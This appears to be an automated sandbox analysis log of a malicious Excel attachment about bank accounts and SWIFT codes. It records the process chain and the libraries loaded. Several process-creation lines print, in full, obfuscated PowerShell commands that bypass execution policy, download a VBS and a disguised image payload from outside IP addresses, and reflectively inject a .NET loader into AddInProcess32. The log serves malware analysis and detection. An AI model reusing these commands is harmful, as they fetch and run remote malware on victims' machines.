Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...X.......N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P.............................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .........c.....}..w............./V.....7..l......U.....(.P.....................X............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..................c.............0...^....Wn.....}..w............@EE.....^...............(.P.....................x............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..................c.................^....Wn.....}..w............@EE.....^...............(.P.....................x............................... Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx ReversingLabs: Detection: 18%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
